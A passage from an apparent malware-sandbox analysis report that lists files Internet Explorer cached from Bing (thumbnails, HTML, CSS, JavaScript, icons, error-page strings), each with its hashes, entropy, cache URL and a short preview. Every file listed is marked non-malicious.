C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\th[3].jpg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, baseline, precision 8, 150x150, frames 3
Category:	downloaded
Size (bytes):	2542
Entropy (8bit):	7.7794956985553245
Encrypted:	false
SSDEEP:	48:5yYcuERATBsC87tpyXKeyzbOZkEPVEGYI0Z8RV8WdxGAia:5PECCC87jyXK7ejRWSRV/dxGva
MD5:	357F88390923FD2D7C54F8EF73A57475
SHA1:	EE6F5D3CBE310AC210CF47D8F1B748B2B0B5205E
SHA-256:	80076FB2A8BD57B72985F5F3557F2B4742DE360994CD05CCA6604653E63404E0
SHA-512:	2AE5C52C81E088CEA10B4240BDF45220AEAC3C4BFDEEC6C098F946BA569AE626E753F7CC116FF133C920C14DBC94083B484A3FA045EC226A32F62D69F85D056C
Malicious:	false
IE Cache URL:	https://www.bing.com/th?u=https%3a%2f%2fimg-s-msn-com.akamaized.net%2ftenant%2famp%2fentityid%2fBB1fl5aC.img&ehk=hx9sEjlDgrlxhlQ0dXS9BWLt7M4%2fn9L%2foLPShsm8wa4%3d&w=150&h=150&c=8&rs=2&pid=WP0
Preview:	......JFIF.....H.H.....C...........................$ &%# #"(-90(6+"#2D26;=@@@&0FKE>J9?@=...C...........=)#)==================================================..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..(...7..(......d..0..ci.0.H.8.4ow;F..b[ws.....q...r..@...3L_7..?n.....?LV..d?...J+".....)(........E8.....W.....F,..JZ..Z)(.......J...fv.....@$...0.cn..q.N{g..:...RCp..2aG.lI.T..S.......w .9..V...h.E..aE.....(...(..4.J..K../J(N.WB1{..E..l-....(4Q@...[M.0........18....[..Z........W.J._.#...;s.q...v........W.l+kr.-%.#.(...(...(...j`<..:.[.a:QH.WJ1{.....c`.....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\th[4].jpg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 150x150, frames 3
Category:	downloaded
Size (bytes):	3792
Entropy (8bit):	7.879458150606813
Encrypted:	false
SSDEEP:	96:pPEUZavUpaPPjl0qwzhf5Q6u2i7HGLHFgak2bB+u+iiKaCPg8o:pPH0vUWlqhf5Q6uZiDFgak3neaFF
MD5:	E5D2688116BA8D4ABBC53F2493A181BE
SHA1:	2330F5A38AB1DE6979790C84B33DC173F853D6FD
SHA-256:	AA1EF9A296A78952F642406AA0F59930CDD23BC5D1714B7E306787CD4064229E
SHA-512:	0FEBAA0286AFF016B5F0B2B9984D95E2319CA29E41AF624A50D5BF1EDA33CD61017226312DE65B1E5A169A95DB7A6F9212EFFC06A498B0BA857C744CCCBDE3BA
Malicious:	false
IE Cache URL:	https://www.bing.com/th?u=https%3a%2f%2fimg-s-msn-com.akamaized.net%2ftenant%2famp%2fentityid%2fBB1flaPv.img&ehk=nfyoU%2b8cc2O%2frjxfHaxiAbz0t%2fXYbGhU6jS%2bwZAdcS0%3d&w=150&h=150&c=8&rs=2&pid=WP0
Preview:	......JFIF.....`.`.....C...........................$ &%# #"(-90(6+"#2D26;=@@@&0FKE>J9?@=...C...........=)#)==================================================..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..x.[.G....uz......M8......4..l..2..?..9....$q..r./...LE....'o...w.[H.J..Z..G..NI.....gC..pk.n..hF.+..<..V...d)....,..Bpj.DT...Rl-..@...i..L......e.&(..`...P...l..J......@.Mqc}z........>..)U,y.^.Aq...X...QG.8W....Q..]^..j.\|.n~X...[......\.n.i0..#..9..<Wk......bx.._...............idb3.A..k7+.....,.M./..@...2.?.Y}M....$.......)=....w]....>Y..t+.I....Z.9$.....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\th[5].jpg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 150x150, frames 3
Category:	downloaded
Size (bytes):	4602
Entropy (8bit):	7.919085409507157
Encrypted:	false
SSDEEP:	96:pPEQIac5U07wxonYM7ZCOPHZ3V4DItC+Es/YzbvLSLIBpxrDn5M:pPjeyynnlCoZ32In4TL6CHD+
MD5:	8816AF91855EFB0BB97FAF7429A17E5A
SHA1:	7FFA5A24554D8CA448E6D1F98A7AC31F36CB2FC7
SHA-256:	1C54DB3F6FA0501AB0C6ACC1BFFC8629009F76BE5AA6DE4239FEB24E3C6AEBFC
SHA-512:	F615D37B9E117B9E1A8DC287DC4FD5888BE85F8CB9E9C66E49B547A0D39696117716603225117D05D7E30734131D15A5C651EFD0B6E9DA546825352B25CCF082
Malicious:	false
IE Cache URL:	https://www.bing.com/th?u=https%3a%2f%2fimg-s-msn-com.akamaized.net%2ftenant%2famp%2fentityid%2fBB1fjIfk.img&ehk=fogkfx9NpBv%2brwC9WfPL2X5KtkEuDG5AjpDW%2f%2bCifdo%3d&w=150&h=150&c=8&rs=2&pid=WP0
Preview:	......JFIF.....`.`.....C...........................$ &%# #"(-90(6+"#2D26;=@@@&0FKE>J9?@=...C...........=)#)==================================================..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..XqBS.N)..i.,'..H..uH..(..(..5H..$..$...u$...j^/..]4.[...h.).z.V...+.jt1.7E'.).V/........O...(..c......8...!ei.\|.Y.py...4...=...y_Q.....R{G2Z\4,9"'.........7.iz.>..p...zP..lz.)....<J.z..P..OZn).H......h.4P..>(.. S$..J.&.P...(.....e...Py......mjH...}.#.u..g..@.'.j...v.r.zd..kR..[...$.p......P.....".b\|...9.....8_A.......9.i[J.Y.(#..[.:Ai.<".....k...;d.j:w.\.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\th[6].jpg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 300x300, segment length 16, baseline, precision 8, 150x150, frames 3
Category:	downloaded
Size (bytes):	6795
Entropy (8bit):	7.939267233088054
Encrypted:	false
SSDEEP:	192:pPFWzMAm+TL7LZ895qWynOjJN52aPjP2D9a1R0:5FWmM7y7TZFNoaLc9Ai
MD5:	140F382635756FE19E1CD67D8CDAB923
SHA1:	1B0F1B61C068E01CE6FFDC5FFCADDD5E039D0DA5
SHA-256:	216E799943B615F3EBF0FC09391810AF53FDE0EDCBEC4300F2B01B98AF346FAE
SHA-512:	A7403C2FB1E2C858C3B3A1F6860441A8B820033E5D6E0049DF6922A1BFB0F74180A2538CFD82F292219629FB1FCA6AB8D3AAAA97129C4C86BC8D15FACDD405F3
Malicious:	false
IE Cache URL:	https://www.bing.com/th?u=https%3a%2f%2fimg-s-msn-com.akamaized.net%2ftenant%2famp%2fentityid%2fBB1fk3tJ.img&ehk=VNetxfVLBzRQk0Hk9PeD6wuxhnc6QG%2bQVORzTT762Ms%3d&w=150&h=150&c=8&rs=2&pid=WP0
Preview:	......JFIF.....,.,.....C...........................$ &%# #"(-90(6+"#2D26;=@@@&0FKE>J9?@=...C...........=)#)==================================================..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...3Fj.E.[.$\..M..+.ij.!...{..,........j\..\|.\....>..7......}kVo.(bD..U...Pj....XO.......$.[..\|....<...p._0..n...k..O...D6.L.`....?..U-..D...f.......h.'z^(...&j...[h:S..."..........O.k.o...7..@..`.n.~R.....Px...m ;.3X...E........D..Cm.$..8>....F(...VrB.1..4S.....u.&.w.Oe3...1.C..2.....1..5.j......!&._..n.h...'.r.=I..y...Y..2.\....a$...$.;.$..v..,......YR..%.....;.N

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\1CAOP5TZ.htm Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	HTML document, UTF-8 Unicode text, with very long lines, with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	60850
Entropy (8bit):	5.75998311469477
Encrypted:	false
SSDEEP:	1536:GKrSCXrLQPo3H/8cpUQbcqETOuKsIecFXdAjvd894fJLYvIMNeb097Q53Opw:GGLQw3f/mQYbd89RYew
MD5:	100FFBA8DF106CB6BD7434D4B0AFBC41
SHA1:	720150A7BC749C1BCA375298D27EF4C8CBFF82E8
SHA-256:	48B60D30ADE5263B2ECAB01C85923C441F6501130624D74FDB4AC68FA92DDDB1
SHA-512:	B1ABF810CF62599575EE395896A11F500FF0B516B9B15097892DA70A47E97EB63FF9D5E551C5C98E5D354F05D4337B1F07AA90F1845FF9CF75CF5DB5EB3824B7
Malicious:	false
IE Cache URL:	https://www.bing.com/?form=REDIRERR
Preview:	<!doctype html><html lang="en" dir="ltr"><head><meta name="theme-color" content="#4F4F4F" /><meta name="description" content="Bing helps you turn information into action, making it faster and easier to go from searching to doing." /><meta http-equiv="X-UA-Compatible" content="IE=edge" /><meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta property="fb:app_id" content="570810223073062" /><meta property="og:type" content="website" /><meta property="og:title" content="Info" /><meta property="og:image" content="https://www.bing.com/th?id=OHR.Olympics125_ROW9889344454_tmb.jpg&rf=" /><meta property="og:image:width" content="1366" /><meta property="og:image:height" content="768" /><meta property="og:url" content="https://www.bing.com/?form=HPFBBK&ssd=20210406_0700&mkt=de-CH" /><meta property="og:site_name" content="Bing" /><meta property="og:description" content="The first modern Olympic Games were held 125 years" /><title>Bing</title><link rel="shortcut i

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\5rqGloMo94v3vwNVR5OsxDNd8d0[1].svg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	461
Entropy (8bit):	4.834490109266682
Encrypted:	false
SSDEEP:	6:tI9mc4sl3WGPXN4x7ZguUz/KVqNFvneuFNH2N9wF+tC77LkeWVLKetCsYuwdOvX0:t41WeXNC1f3q/7H2DIZWYeIsrGYyKYx7
MD5:	4E67D347D439EEB1438AA8C0BF671B6B
SHA1:	E6BA86968328F78BF7BF03554793ACC4335DF1DD
SHA-256:	74DEB89D481050FD76A788660674BEA6C2A06B9272D19BC15F4732571502D94A
SHA-512:	BE40E5C7BB0E9F4C1687FFDDBD1FC16F1D2B19B40AB4865BE81DD5CF5F2D8F469E090219A5814B8DAED3E2CD711D4532E648664BFA601D1FF7BBAA83392D320E
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/5rqGloMo94v3vwNVR5OsxDNd8d0.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 32 32"><title>UserSignedOutIcon</title><circle cx="16" cy="16" r="16" fill="#eee"/><path d="M12.73 13.1a3.271 3.271 0 1 1 3.27 3.2 3.237 3.237 0 0 1-3.27-3.2zm-2.73 9.069h1.088a4.91 4.91 0 0 1 9.818 0h1.094a5.884 5.884 0 0 0-3.738-5.434 4.238 4.238 0 0 0 2.1-3.635 4.366 4.366 0 0 0-8.73 0 4.238 4.238 0 0 0 2.1 3.635 5.878 5.878 0 0 0-3.732 5.434z" fill="#666"/><path fill="none" d="M0 0h32v32h-32z"/></svg>

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\BJp5dDFvoQm12CHBfp4PC6aiyg4.gz[1].css Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	73202
Entropy (8bit):	5.307816444057117
Encrypted:	false
SSDEEP:	1536:kcGJTL/mKzAAFl7JlsG0GRe1cxnoWC1kuyOYkTs/Kun:LGJ4AFl7JlsG0GRCcxnoWC1kuyOYkT0
MD5:	C912DA2683E71660357A600EE34A7873
SHA1:	5DFD028307D4CD8A66492E807B848FEC177AEC3A
SHA-256:	525D57B5D38D8212993C66A33F4CD15EDBD0F260A5AFCF539D092047A908D6EE
SHA-512:	31E2A56C27CC037AD903292DFA518E86642C2A610E9923DD4F7A2FD1347167E042E957A85E98561CC9178318D121DEA3EF165F88EEC79915D0687939DC25BBC9
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/BJp5dDFvoQm12CHBfp4PC6aiyg4.gz.css
Preview:	.scopes{color:rgba(255,255,255,.8);display:inline-block;left:0;white-space:nowrap;list-style:none;line-height:39px}.scopes.sc_hide{display:none}.scopes .scope{font-size:.8125rem;cursor:pointer;vertical-align:middle;margin-right:36px;background-repeat:no-repeat;position:relative;display:inline-block}.scopes .scope:hover,.scopes .scope.focusin{color:#fff}.scopes .scope:hover .overflow_menu,.scopes .scope.focusin .overflow_menu{transform:none}.scopes .scope:focus-within .overflow_menu{color:#fff;transform:none}.scopes .scope a{color:inherit;cursor:pointer;text-decoration:none}.scopes .scope.dots{margin-bottom:8px;font-weight:bold}.scopes .scope.dots:before{display:inline-block;content:'. . .'}.scopes .scope.dots.hover_focus:focus{outline:none}.scopes .scope .overflow_menu{color:#666;cursor:pointer;transform:scale(0);position:absolute;background-color:#fff;border-radius:6px;padding:4px 0;box-shadow:0 4px 12px 1px rgba(0,0,0,.14);min-width:155px}.scopes .scope .overflow_menu .overflow_item{

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\GiGr-rA9TBhE2c3LJn7PvDweiOo.gz[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	374771
Entropy (8bit):	5.158592433297743
Encrypted:	false
SSDEEP:	6144:1irrzbB3LH7gaV6Z8LAfP0Rp6Izc04YFdNwRm2EjXi4SG7oIBYQmzeH:aHNfi4KwYQmzeH
MD5:	F279A46B56038C41BB3FC11D67D0FE46
SHA1:	B48121E695FD6483CAA7F48DE73FE9F121777109
SHA-256:	A9EA274B393E34591387AC0B4DE594BEE296386543DE34F4897281324DB0DCBB
SHA-512:	4C1754CF5E368D8CE86B135B789A4FF4BAAD1419F30A1EB3B65EAB62217C054D0066EA5FC22B5AA7643EA959854EBC2029B39CB7D1AEAAFB78B95A2A46430F84
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/GiGr-rA9TBhE2c3LJn7PvDweiOo.gz.js
Preview:	(function(n){function t(r){if(i[r])return i[r].exports;var u=i[r]={i:r,l:!1,exports:{}};return n[r].call(u.exports,u,u.exports,t),u.l=!0,u.exports}var i={};return t.m=n,t.c=i,t.d=function(n,i,r){t.o(n,i)\|\|Object.defineProperty(n,i,{enumerable:!0,get:r})},t.r=function(n){typeof Symbol!="undefined"&&Symbol.toStringTag&&Object.defineProperty(n,Symbol.toStringTag,{value:"Module"});Object.defineProperty(n,"__esModule",{value:!0})},t.t=function(n,i){var r,u;if((i&1&&(n=t(n)),i&8)\|\|i&4&&typeof n=="object"&&n&&n.__esModule)return n;if(r=Object.create(null),t.r(r),Object.defineProperty(r,"default",{enumerable:!0,value:n}),i&2&&typeof n!="string")for(u in n)t.d(r,u,function(t){return n[t]}.bind(null,u));return r},t.n=function(n){var i=n&&n.__esModule?function(){return n["default"]}:function(){return n};return t.d(i,"a",i),i},t.o=function(n,t){return Object.prototype.hasOwnProperty.call(n,t)},t.p="",t(t.s=0)})([function(n,t,i){window.SpeechSDK=i(1)},function(n,t,i){"use strict";function r(n){for(

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\P3LN8DHh0udC9Pbh8UHnw5FJ8R8.gz[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	1516
Entropy (8bit):	5.30762660027466
Encrypted:	false
SSDEEP:	24:+FE64YTsQF61KWllWeM2lSoiLKiUfpIYdk+fzvOMuHMH34tDO8XgGQE3BUf4JPwk:+FdF6UYXEBi9kIHIB1UY
MD5:	EF3DA257078C6DD8C4825032B4375869
SHA1:	35FE0961C2CAF7666A38F2D1DE2B4B5EC75310A1
SHA-256:	D94AC1E4ADA7A269E194A8F8F275C18A5331FE39C2857DCED3830872FFAE7B15
SHA-512:	DBA7D04CDF199E68F04C2FECFDADE32C2E9EC20B4596097285188D96C0E87F40E3875F65F6B1FF5B567DCB7A27C3E9E8288A97EC881E00608E8C6798B24EF3AF
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/P3LN8DHh0udC9Pbh8UHnw5FJ8R8.gz.js
Preview:	var Identity=Identity\|\|{},ham_id_js_downloaded=!1;(function(n,t,i,r,u,f,e){e.wlProfile=function(){var r=sj_cook.get,u="WLS",t=r(u,"N"),i=r(u,"C");return i&&e.wlImgSm&&e.wlImgLg?{displayName:t?t.replace(/\+/g," "):"",name:n(t.replace(/\+/g," ")),img:e.wlImgSm.replace(/\{0\}/g,f(i)),imgL:e.wlImgLg.replace(/\{0\}/g,f(i)),idp:"WL"}:null};e.headerLoginMode=0;e.popupAuthenticate=function(n,i,r){var o,u,h,c,v=sb_gt(),l=Math.floor(v/1e3).toString(),s="ct",a=new RegExp("([?&])"+s+"=.*?(&\|$)","i");return n.toString()==="WindowsLiveId"&&(o=e.popupLoginUrls,u=o[n],u=u.match(a)?u.replace(a,"$1"+s+"="+l+"$2"):u+"?"+s+"="+l,e.popupLoginUrls.WindowsLiveId=u),(o=e.popupLoginUrls)&&(u=o[n]+(i?"&perms="+f(i):"")+(r?"&src="+f(r):""))&&(h=e.pop(u))&&(c=setInterval(function(){h.closed&&(t.fire("id:popup:close"),clearInterval(c))},100))};e.pop=function(n){return r.open(n,"idl","location=no,menubar=no,resizable=no,scrollbars=yes,status=no,titlebar=no,toolbar=no,width=1000,height=620")};var o=u("id_h"),s=u("id

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\Passport[1].htm Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	329
Entropy (8bit):	5.086971439676268
Encrypted:	false
SSDEEP:	6:qzxUe3X965+zAqEFtTNfYEAn4TXQ3SOFCL0H4WZhCroOI:kxFkXq6tTRYEVTAx4IHH7CroOI
MD5:	7B7D5DA1B057EB0D5A58C2585E80BACA
SHA1:	29714CD8C570E321C1C1C991E77ACE3945312AC6
SHA-256:	023CD9B7315636BE1BE24DC78144554B0E76777BD476ED581378172DE9B12A05
SHA-512:	1A4E36E3124968166579C04D05A1325242E1DFE20DF4C804081487A019B88395A679A439525488F78B73334C5B0BD38D61E24F8E23F2F8274C6BAC323291CEE8
Malicious:	false
IE Cache URL:	https://www.bing.com/secure/Passport.aspx?popup=1&ssl=1
Preview:	<html><head><title>Bing</title></head><body>Loading...<script type="application/x-javascript">//<![CDATA[.var _w = window; var o = _w.opener; var mainWindow; (mainWindow = o) \|\| (mainWindow = _w.parent); if (mainWindow) {mainWindow.sj_evt && mainWindow.sj_evt.fire("wl:cancel"); };if (o) _w.close();;.// </script></body></html>

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\RrvsBuqGHDpqG7NAz4Q0BMOqQBg.gz[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	4140
Entropy (8bit):	5.268233767834181
Encrypted:	false
SSDEEP:	96:cithlPK4kMRX+1XewlYONYyuGNc22nDmSOsDg:ciJALYONEGNc22nbOsDg
MD5:	7651609B4BE35F5DE8024F570EF6CF87
SHA1:	4B72E4BB1D8F170D6B17FA1D769584A7D0F02F70
SHA-256:	4CA5C607D14D17F8A9EEA9FB0A624BC00C49BFDFBB6A78E1292EAE1461B7D9F0
SHA-512:	7BE114BD02AA079F01FBFC343811F74896BB247ABB79C67998B7DB0F20F8ED1260DEA83523F61CDD0E2231F2428437F9FBF88F39DAD821A3F09A5116C5DA7A2D
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/RrvsBuqGHDpqG7NAz4Q0BMOqQBg.gz.js
Preview:	var Feedback;(function(n){var t;(function(){function r(i,r,u,f,e,o){i=typeof i===t?!1:i;i&&scrollTo(0,0);u=typeof u===t?!0:u;n.PackageLoad.Load(r,u,f,e,o)}function e(n,t){for(var r=0,i=null;n&&n.getAttribute&&(!(t>=1)\|\|r<t);){if(i=n.getAttribute("data-fbhlsel"),i!=null)break;r++;n=n.parentNode}return i}var u="feedbackformrequested",c="feedbackInitialized",i,f="",o="feedback-binded",s="clicked",t="undefined",h;n.Bootstrap.InitializeFeedback=function(l,a,v,y,p,w,b,k){function tt(t){var r=null,i;return t&&(i=new h,n.fel("ajax.feedback.collectsettings","gsf",i),r=i.findSettings(t)),r}var d=_ge(a),g,nt;d&&d.classList&&d.classList.contains(o)\|\|(p=typeof p===t?!1:p,g=e(d,3),f!=="sb_feedback"&&(f=a,typeof sj_evt!==t&&(i&&sj_evt.unbind(u,i),i=function(n){var u=null,t=null,f=null,o,i,s;n&&n.length>1&&(i=n[1],i.tagName!==undefined&&i.nodeType!==undefined?(u=i,t=tt(u)):t=i,o=t&&t.elementToHighlight\|\|u,f=e(o));s=t&&t.linkId\|\|a;r(y,l,v,s,f,t)},sj_evt.bind(u,i,1)),typeof SearchAppWrapper!==t&&SearchA

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\Xp-HPHGHOZznHBwdn7OWdva404Y.gz[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	576
Entropy (8bit):	5.192163014367754
Encrypted:	false
SSDEEP:	12:9mPi891gAseP24yXNbdPd1dPkelrR5MdKIKG/OgrfYc3tOfIvHbt:9mPlP5smDy1dV1dHrLMdKIKG/OgLYgtV
MD5:	F5712E664873FDE8EE9044F693CD2DB7
SHA1:	2A30817F3B99E3BE735F4F85BB66DD5EDF6A89F4
SHA-256:	1562669AD323019CDA49A6CF3BDDECE1672282E7275F9D963031B30EA845FFB2
SHA-512:	CA0EB961E52D37CAA75F0F22012C045876A8B1A69DB583FE3232EA6A7787A85BEABC282F104C9FD236DA9A500BA15FDF7BD83C1639BFD73EF8EB6A910B75290D
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/Xp-HPHGHOZznHBwdn7OWdva404Y.gz.js
Preview:	var SsoFrame;(function(n){function t(n){if(n&&n.url&&n.sandbox){var t=sj_ce("iframe"),i=t.style;i.visibility="hidden";i.position="absolute";i.height="0";i.width="0";i.border="none";t.src=decodeURIComponent(n.url);t.id="aadssofr";t.setAttribute("sandbox",n.sandbox);_d.body.appendChild(t);n.currentEpoch&&sj_cook.set("SRCHUSR","T",n.currentEpoch,!0,"/");Log&&Log.Log&&Log.Log("ClientInst","NoSignInAttempt","OrgId",!1)}}function i(n){try{n&&n.length===2&&t(n[1])}catch(i){}}n.createFrame=t;n.ssoFrameEntry=i;sj_evt.bind("ssoFrameExists",i,!0,null,!1)})(SsoFrame\|\|(SsoFrame={}))

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\eF3rIdIG4fsLyPy7mzgRnjCDKIA[1].png Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	PNG image data, 1642 x 116, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	12172
Entropy (8bit):	7.918443542633748
Encrypted:	false
SSDEEP:	192:55tSglBjXtk3RBPvjc6/sB7WYFH+CEWAY7ajZiS8aQoFiJ8VJUsLYpP7:YHHjNsB7WYtFEV1iS8XoFRJbLmP7
MD5:	4CF2646B3478E81FB9444ED499C19310
SHA1:	785DEB21D206E1FB0BC8FCBB9B38119E30832880
SHA-256:	3E3D1F762BE8E3AF89D77E1F291E6228D55FBA619AD6C0763224B4A640D0D9BD
SHA-512:	6CC812012B23313ED2A83706D81B9737C3C6D8EA656FFE8D612006C4C6C03ACCA8428D4C2F89615581F1ACD866925F6DA94F2C66275101558DC8D202E9764796
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/eF3rIdIG4fsLyPy7mzgRnjCDKIA.png
Preview:	.PNG........IHDR...j...t.............PLTE...ttt"""............"""///...,,,000....}....................................................................x.%..$..#..$.""",,,....Q".L"~..~......................................:*............................#...................."..........---...........O.#.+++......---...................$............................y..`..G.................)..........................................wwwttt...[[[......413......................................................................vwzlllqqq.........rxxvxy...vwy...........vwy......!W..........Y..4f.......uwzwxz......xxxwxzwwzvvzvwy...vxz.3..0..........l..m..4......."...3.....2..3..l..4.....3..3...........d!.a...?..>..=wxyvwyvwyvv{wxxwxzvxz]ffwwyvwzwwwwxzvxzvxywwzwxzvwzwwzwxzwwzvxywwy..>.......................!....tRNS..C.....`....C...1.....P......P.....$`..............@.....j.0.G..p. p.@.`+.``..>^.`........ k@.@.P..p........0... .........................P....``....i...@.. ..0@.......^f....P.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\errorPageStrings[1] Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	4720
Entropy (8bit):	5.164796203267696
Encrypted:	false
SSDEEP:	96:z9UUiqRxqH211CUIRgRLnRynjZbRXkRPRk6C87Apsat/5/+mhPcF+5g+mOQb7A9o:JsUOG1yNlX6ZzWpHOWLia16Cb7bk
MD5:	D65EC06F21C379C87040B83CC1ABAC6B
SHA1:	208D0A0BB775661758394BE7E4AFB18357E46C8B
SHA-256:	A1270E90CEA31B46432EC44731BF4400D22B38EB2855326BF934FE8F1B169A4F
SHA-512:	8A166D26B49A5D95AEA49BC649E5EA58786A2191F4D2ADAC6F5FBB7523940CE4482D6A2502AA870A931224F215CB2010A8C9B99A2C1820150E4D365CAB28299E
Malicious:	false
Preview:	.//Split out for localization...var L_GOBACK_TEXT = "Go back to the previous page.";..var L_REFRESH_TEXT = "Refresh the page.";..var L_MOREINFO_TEXT = "More information";..var L_OFFLINE_USERS_TEXT = "For offline users";..var L_RELOAD_TEXT = "Retype the address.";..var L_HIDE_HOTKEYS_TEXT = "Hide tab shortcuts";..var L_SHOW_HOTKEYS_TEXT = "Show more tab shortcuts";..var L_CONNECTION_OFF_TEXT = "You are not connected to the Internet. Check your Internet connection.";..var L_CONNECTION_ON_TEXT = "It appears you are connected to the Internet, but you might want to try to reconnect to the Internet.";....//used by invalidcert.js and hstscerterror.js..var L_CertUnknownCA_TEXT = "Your PC doesn\u2019t trust this website\u2019s security certificate.";..var L_CertExpired_TEXT = "The website\u2019s security certificate is not yet valid or has expired.";..var L_CertCNMismatch_TEXT = "The hostname in the website\u2019s security certificate differs from the website you are trying to visit.";..var L

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\hqx6FcD0hjfzrON5oLgx2RMMD1s.gz[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	443
Entropy (8bit):	4.86644754379557
Encrypted:	false
SSDEEP:	12:kdXCJAUQECJA5MeMJA561cnGfbs4Hbrk86fYXChdJAjU:8CJWECJKMeMJK61cuo47rk8WYMdJyU
MD5:	56583BD882D9571EC02FBDF69D854205
SHA1:	8DFF13B78F4CBCC482DC5C7FC1495390200C0B94
SHA-256:	DF0089A92B304A88F35AA0117CF8647695659AAF68B38B1B7A72A7C53465E9C7
SHA-512:	418B3003B568F2FDB862035EE624CE93087861AEBB6680CDC0E0F1212297B64D30596EEF931B8C6E818292C4AB14C8C17FF0BAF9E58ED93392AD7A80621EBBE4
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/hqx6FcD0hjfzrON5oLgx2RMMD1s.gz.js
Preview:	var OutlinePolyfil=function(){function n(){var n=this;this.attachHandlers=function(){n.attachHandlersForOutline()};this.attachHandlersForOutline=function(){addEventListener("keydown",n.onTabKey);addEventListener("mousedown",n.onMouseDown)};this.onTabKey=function(n){n.keyCode==9&&document.body.classList.add("tabbing")};this.onMouseDown=function(){document.body.classList.remove("tabbing")};this.attachHandlers()}return n}();new OutlinePolyfil

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\httpErrorPagesScripts[1] Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	downloaded
Size (bytes):	12105
Entropy (8bit):	5.451485481468043
Encrypted:	false
